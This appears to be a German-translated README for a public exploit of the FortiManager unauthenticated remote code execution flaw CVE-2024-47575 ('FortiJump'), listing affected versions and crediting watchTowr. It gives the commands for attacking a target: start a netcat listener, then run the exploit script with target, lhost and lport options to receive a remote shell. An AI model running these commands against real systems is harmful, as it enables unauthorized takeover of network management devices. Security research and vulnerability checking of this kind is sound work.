watchtowrlabs/fortijump-exploit-cve-2024-47575Fortinet Fortimanager Unauthentifizierte Remote-Codeausführung, auch bekannt als FortiJump CVE-2024-47575
Fortinet FortiManager Nicht authentifizierte Remote-Codeausführung, auch bekannt als FortiJump CVE-2024-47575
Technische Einzelheiten finden Sie in unserem Blogbeitrag
Stellen Sie zunächst Ihre ncat-Sitzung her:
nc -lvvnp 80
Führen Sie dann unseren Generator für Erkennungsartefakte aus:
python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit
Um nur die Schwachstelle zu prüfen, verwenden Sie die folgenden Optionen:
python3 CVE-2024-47575.py --target 192.168.1.110 --action check
FortiManager 7.6.0
FortiManager 7.4.0 through 7.4.4
FortiManager 7.2.0 through 7.2.7
FortiManager 7.0.0 through 7.0.12
FortiManager 6.4.0 through 6.4.14
FortiManager 6.2.0 through 6.2.12
FortiManager Cloud 7.4.1 through 7.4.4
FortiManager Cloud 7.2.1 through 7.2.7
FortiManager Cloud 7.0.1 through 7.0.12
FortiManager Cloud 6.4
Dieser Exploit wurde von Sina Kheirkhah (@SinSinology) von watchTowr (@watchtowrcyber) geschrieben.
Für die neueste Sicherheitsforschung folgen Sie dem watchTowr Labs-Team.